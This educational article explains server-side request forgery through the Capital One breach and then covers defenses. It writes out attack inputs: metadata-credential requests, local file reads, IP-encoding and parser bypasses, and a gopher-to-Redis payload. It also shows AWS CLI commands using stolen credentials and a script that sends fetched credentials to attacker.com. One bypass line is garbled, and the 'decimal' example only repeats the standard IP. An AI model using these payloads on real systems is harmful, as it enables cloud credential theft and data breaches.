What is SSRF? Server-Side Request Forgery and the Attack That Breached Capital One

SSRF tricks your server into making requests to internal systems — cloud metadata services, internal APIs, AWS credentials endpoints. It turned a WAF misconfiguration into 100 million stolen Capital One records

In 2019, a former AWS engineer breached Capital One and stole the personal data of 106 million Americans and Canadians. Credit card applications going back to 2005. 140,000 Social Security numbers. 80,000 bank account numbers. The company paid $80 million in fines. The breach cost them an estimated $300 million total.

The technical method: Server-Side Request Forgery. One crafted HTTP request to a misconfigured Web Application Firewall running on an AWS EC2 instance. That request asked the server to fetch a URL — specifically http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role. The server fetched it and returned temporary AWS IAM credentials. Those credentials had read access to the S3 buckets containing Capital One's customer data.

SSRF — Server-Side Request Forgery — tricks your server into making HTTP requests to destinations you never intended. In the cloud era, where the metadata service sits at a predictable IP address and returns credentials to any EC2 instance that asks, "trick the server into fetching a URL" is a capability that can compromise an entire cloud infrastructure.

OWASP added SSRF to the Top 10 in 2021. SonicWall's 2025 Cyber Threat Report documented a 452% increase in SSRF attacks from 2023 to 2024. Azure disclosed an SSRF with a CVSS 10.0 score in 2025. This is not a niche vulnerability.

How SSRF Works

Any feature where your application accepts a URL from the user and makes a server-side request to it is a potential SSRF vector:

  • URL preview / link unfurling — "paste a URL to generate a preview"
  • Webhooks — "enter the URL we should POST notifications to"
  • File import from URL — "import a document from this URL"
  • PDF/screenshot generation — "generate a PDF of this URL"
  • Image upload from URL — "upload an image by providing its URL"
  • API proxying — "our server fetches data from this endpoint on your behalf"
  • Server-side redirects — following redirects in server-side HTTP clients

The vulnerable code pattern:

import requests
from flask import Flask, request, jsonify
 
app = Flask(__name__)
 
@app.route('/api/preview', methods=['POST'])
def url_preview():
    url = request.json.get('url')
    
    # VULNERABLE — no validation of what 'url' points to
    response = requests.get(url, timeout=5)
    return jsonify({
        'content': response.text[:500],
        'status': response.status_code
    })

This endpoint fetches whatever URL the user provides. From the user's perspective, they provide https://example.com. From an attacker's perspective:

# Fetch AWS credentials from the metadata service
POST /api/preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
 
# Probe internal services
{"url": "http://internal-api.service.internal:8080/admin/users"}
 
# Read files from the local filesystem
{"url": "file:///etc/passwd"}
 
# Scan internal network
{"url": "http://10.0.0.1:22"}

The Capital One Attack

Understanding the Capital One breach concretely illustrates what SSRF enables in a cloud environment.

The setup:

  • Capital One ran a ModSecurity WAF on an AWS EC2 instance
  • The WAF accepted URL parameters as part of its configuration
  • AWS's Instance Metadata Service (IMDS) is accessible at 169.254.169.254 from any EC2 instance — by design, so instances can retrieve their own configuration and credentials
  • The WAF's EC2 instance had an attached IAM role with read access to Capital One's S3 buckets

The attack sequence:

1. Attacker sends SSRF payload to the WAF:
   GET /?URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
2. WAF (running on EC2) makes a server-side request to the metadata service:
   → Returns: ISRM-WAF-Role
 
3. Attacker fetches the credentials:
   GET /?URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
   
   → Returns:
   {
     "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
     "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
     "Token": "AQoDYXdzEJr...",
     "Expiration": "2019-07-22T04:15:00Z"
   }
 
4. Attacker uses stolen credentials with AWS CLI:
   aws s3 ls --profile stolen_credentials
   aws s3 sync s3://capitalone-data . --profile stolen_credentials

Four steps from SSRF to 106 million records. The IAM role had excessive permissions — S3 read access to buckets far beyond what the WAF needed to function. The principle of least privilege would have contained the blast radius even if the SSRF succeeded.

Cloud Metadata Services

Every major cloud provider runs a metadata service accessible from within virtual machines:

AWS EC2 IMDS:
  IPv4: http://169.254.169.254/latest/meta-data/
  IPv6: http://[fd00:ec2::254]/latest/meta-data/
 
Key endpoints:
  /latest/meta-data/iam/security-credentials/
  /latest/meta-data/iam/info
  /latest/user-data          (often contains secrets from cloud-init)
  /latest/meta-data/hostname
  /latest/meta-data/local-ipv4
 
Google Cloud Platform:
  http://metadata.google.internal/computeMetadata/v1/
  Requires header: Metadata-Flavor: Google
  Key: /computeMetadata/v1/instance/service-accounts/default/token
 
Azure Instance Metadata Service:
  http://169.254.169.254/metadata/instance
  Requires header: Metadata: true
  Key: /metadata/identity/oauth2/token

AWS released IMDSv2 after the Capital One breach. IMDSv2 requires a session token obtained via a PUT request before any GET requests succeed. Simple SSRF attacks (which can only make GET requests or don't control headers) fail against IMDSv2. Despite this, as of 2022 research, approximately 93% of EC2 instances still hadn't enforced IMDSv2. Default configurations don't enforce it — administrators must explicitly opt in.

Types of SSRF

Basic SSRF — the server fetches the URL and returns the response to the attacker. The most direct: the attacker sees exactly what the server sees.

Blind SSRF — the server makes the request but doesn't return the response content to the attacker. The attacker can only infer what happened from side channels:

# Blind SSRF detection via DNS callback
# The attacker provides a URL to their own server
# Even without seeing the response, they know the server made the request
# because they see the DNS lookup or HTTP request in their logs
 
attacker_url = "http://attacker-server.com/ssrf-callback"
 
# If the target server fetches this URL, attacker sees a request in logs
# This confirms SSRF exists even if the response isn't returned to the attacker

Tools like Burp Collaborator and interactsh generate unique URLs that phone home when fetched — confirming blind SSRF without needing response content.

SSRF via redirect — the attacker provides a legitimate-looking URL that redirects to an internal resource:

Attacker controls: https://attacker.com/redirect
That page returns: HTTP/1.1 302 Found
                   Location: http://169.254.169.254/latest/meta-data/iam/...
 
Vulnerable server follows the redirect and fetches the metadata endpoint.

Many SSRF defenses check the initial URL but not where redirects lead. This bypasses allowlist validation if the allowlist checks the input URL but not the final destination.

Bypass Techniques

Defenders build blocklists against 169.254.169.254. Attackers have catalogued every bypass:

IP encoding variations:

http://169.254.169.254/         # Standard
http://169.254.169.254/         # Decimal notation
http://0xa9fea9fe/               # Hex notation
http://0251.0376.0251.0376/      # Octal notation
http://2852039166/               # Integer representation of IP
http://0xa9.254.169.254/         # Mixed notation

DNS rebinding:
Configure a DNS entry for metadata.attacker.com that returns 169.254.169.254. Many validators check hostnames but not the resolved IP addresses.

IPv6:

http://[::ffff:169.254.169.254]/    # IPv4-mapped IPv6
http://[fd00:ec2::254]/             # AWS IPv6 metadata endpoint

URL parser tricks:

http://[email protected]/  # The @attacker after host
http://169.254.169.254#@google.com/               # Fragment confuses parsers

HTTP redirect:
Set up https://your-allowed-domain.com/ to return a 301 redirect to http://169.254.169.254/. If the validator allows the initial URL but the HTTP client follows redirects, the metadata service gets hit.

Protocol variations:

dict://169.254.169.254:22/
gopher://169.254.169.254:6379/_CONFIG  # Interact with Redis
file:///etc/passwd                      # Read local files

Input Validation

The primary technical defense is strict input validation that combines allowlisting with IP resolution checking.

import ipaddress
import socket
import urllib.parse
from typing import Optional
 
# Private/reserved IP ranges that should never be fetchable
BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),        # RFC 1918 private
    ipaddress.ip_network('172.16.0.0/12'),      # RFC 1918 private
    ipaddress.ip_network('192.168.0.0/16'),     # RFC 1918 private
    ipaddress.ip_network('127.0.0.0/8'),        # Loopback
    ipaddress.ip_network('169.254.0.0/16'),     # Link-local (AWS metadata)
    ipaddress.ip_network('::1/128'),            # IPv6 loopback
    ipaddress.ip_network('fc00::/7'),           # IPv6 unique local
    ipaddress.ip_network('fe80::/10'),          # IPv6 link-local
    ipaddress.ip_network('0.0.0.0/8'),          # "This" network
]
 
def is_safe_url(url: str) -> tuple[bool, Optional[str]]:
    """
    Validate a URL for SSRF safety.
    Returns (is_safe, reason_if_unsafe)
    """
    try:
        parsed = urllib.parse.urlparse(url)
    except ValueError as e:
        return False, f"Invalid URL: {e}"
    
    # Only allow HTTPS for external requests
    if parsed.scheme not in ('https', 'http'):
        return False, f"Scheme '{parsed.scheme}' not allowed"
    
    # If you want only HTTPS:
    if parsed.scheme != 'https':
        return False, "Only HTTPS URLs are allowed"
    
    hostname = parsed.hostname
    if not hostname:
        return False, "No hostname in URL"
    
    # Resolve hostname to IP(s) — catch DNS rebinding
    try:
        addr_infos = socket.getaddrinfo(hostname, None)
    except socket.gaierror as e:
        return False, f"DNS resolution failed: {e}"
    
    for addr_info in addr_infos:
        ip_str = addr_info[4][0]
        try:
            ip = ipaddress.ip_address(ip_str)
        except ValueError:
            continue
        
        # Check against all blocked networks
        for network in BLOCKED_NETWORKS:
            if ip in network:
                return False, f"IP {ip} is in blocked range {network}"
        
        # Also block private IP check
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False, f"IP {ip} is a private/reserved address"
    
    return True, None
 
 
# Use in your endpoint
@app.route('/api/fetch-url', methods=['POST'])
def fetch_url():
    url = request.json.get('url')
    
    is_safe, reason = is_safe_url(url)
    if not is_safe:
        return jsonify({'error': f'URL not allowed: {reason}'}), 400
    
    # Fetch with additional safeguards
    response = requests.get(
        url,
        timeout=5,
        allow_redirects=False,  # Don't follow redirects automatically
        headers={},             # Don't forward user-provided headers
    )
    
    # If redirect, validate the redirect target too
    if response.is_redirect:
        redirect_url = response.headers.get('Location')
        is_safe, reason = is_safe_url(redirect_url)
        if not is_safe:
            return jsonify({'error': 'Redirect destination not allowed'}), 400
    
    return jsonify({'content': response.text[:500]})

Why you need to resolve DNS: Blocklists that only check the hostname string are bypassable via DNS entries that resolve to internal IPs (metadata.attacker.com → 169.254.169.254). Always resolve the hostname and check the resulting IP addresses against your blocked ranges.

Why allow_redirects=False: Following redirects without re-validating the destination is the primary bypass for URL validation. Disable automatic redirect following and validate each hop.

AWS IMDSv2

For all EC2 instances, enforce IMDSv2. This requires a session token obtained via a PUT request — a request type that basic SSRF exploits (which control only GET) can't make:

# Enforce IMDSv2 on an existing instance
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-put-response-hop-limit 1
 
# In Terraform
resource "aws_instance" "app" {
  # ...
  metadata_options {
    http_endpoint               = "enabled"
    http_tokens                 = "required"   # Enforces IMDSv2
    http_put_response_hop_limit = 1
  }
}

With IMDSv2 enforced:

  1. Attacker sends SSRF GET request to 169.254.169.254
  2. Metadata service requires a session token from a PUT request first
  3. SSRF GET request gets rejected — no credentials leaked

IMDSv2 doesn't prevent all SSRF, but it eliminates the specific Capital One attack pattern and dramatically reduces the blast radius of cloud SSRF attacks.

Network Egress Controls

Even with input validation, defense in depth means the server shouldn't be able to reach internal services at the network layer:

Application servers:
- Should have outbound internet access for legitimate API calls
- Should NOT have network access to:
  - The management plane (169.254.169.254 range)
  - Internal database subnets
  - Internal admin services
  - Other microservices they don't legitimately need to call
 
Implementation:
- Security groups / firewall rules blocking 169.254.169.254 from application subnet
- VPC security groups limiting inter-service communication to required ports
- Dedicated egress proxy that application traffic routes through
  (proxy can enforce URL allowlists at the network layer)

The principle: If the server can't reach the metadata service at the network level, SSRF payloads targeting it fail regardless of input validation. Layered defenses mean a single control failure doesn't result in a full breach.

Detecting SSRF in Code Review and Pentesting

In code review, look for any code that takes a URL, hostname, or IP from user input and makes a server-side network request:

# Grep for URL-accepting patterns in Python
grep -rn "requests.get\|requests.post\|urllib.request" src/ | grep -v "test"
grep -rn "url.*=.*request\." src/  # URL derived from request data
 
# Node.js
grep -rn "fetch(\|axios.get(\|http.get(" src/ | grep -v "test"
grep -rn "req.body.url\|req.query.url\|req.params.url" src/

In penetration testing, any endpoint that accepts a URL parameter is worth testing:

# Basic internal service probe
curl -X POST https://target.com/api/preview \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
 
# Test for blind SSRF with Burp Collaborator or interactsh
curl -X POST https://target.com/api/webhook \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://your-collaborator-id.oastify.com"}'
 
# Probe internal services
curl -X POST https://target.com/api/import \
  -d '{"source_url": "http://internal-service:8080/health"}'

SSRF in PDF/screenshot generators is particularly common and often overlooked. Services that render HTML to PDF can be fed HTML containing:

<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<iframe src="file:///etc/passwd">
<script>
  fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(t => fetch('https://attacker.com/steal?d=' + btoa(t)));
</script>

These headless browser-based generators run with full network access and can be weaponized for SSRF just like any other server-side HTTP client.

The Capital One breach was 2019. CVE-2025-53767, a CVSS 10.0 SSRF in Azure OpenAI, was 2025. The attack surface grows as microservices, webhooks, and URL-fetching features proliferate. The defense is consistent: validate all URL inputs against resolved IP ranges, enforce IMDSv2 on all cloud instances, and implement network egress controls that limit where application servers can reach.